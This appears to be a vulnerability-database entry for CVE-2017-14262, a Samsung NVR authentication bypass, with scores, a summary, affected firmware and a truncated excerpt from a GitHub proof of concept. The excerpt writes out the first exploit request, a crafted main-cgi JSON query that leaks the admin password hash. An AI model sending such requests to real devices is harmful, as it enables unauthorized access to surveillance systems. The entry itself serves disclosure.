9.3
CVSSv2

CVE-2017-14262

Published: 11/09/2017 Updated: 03/10/2019
CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6
CVSS v3 Base Score: 8.1 | Impact Score: 5.9 | Exploitability Score: 2.2
VMScore: 828
Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Vulnerability Summary

On Samsung NVR devices, remote attackers can read the MD5 password hash of the 'admin' account via certain szUserName JSON data to cgi-bin/main-cgi, and login to the device with that hash in the szUserPasswd parameter.

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samsung srn_1670d_firmware -

samsung srn_1000_firmware -

samsung srn_472s_firmware -

samsung srn_470d_firmware -

Github Repositories

Samsung_NVR_vul CVE-2017-14262 xfuturesec Co, Ltd First, get the MD5 hash password of the 'admin' account Send: GET 192168114/cgi-bin/main-cgi?json={"cmd":201,"szUserName_Qry":"admin","szUserName":"","u32UserLoginHandle":0} HTTP/11 Host: 192168114 User-Agent: Mozilla/50 (Windows NT 63; WOW64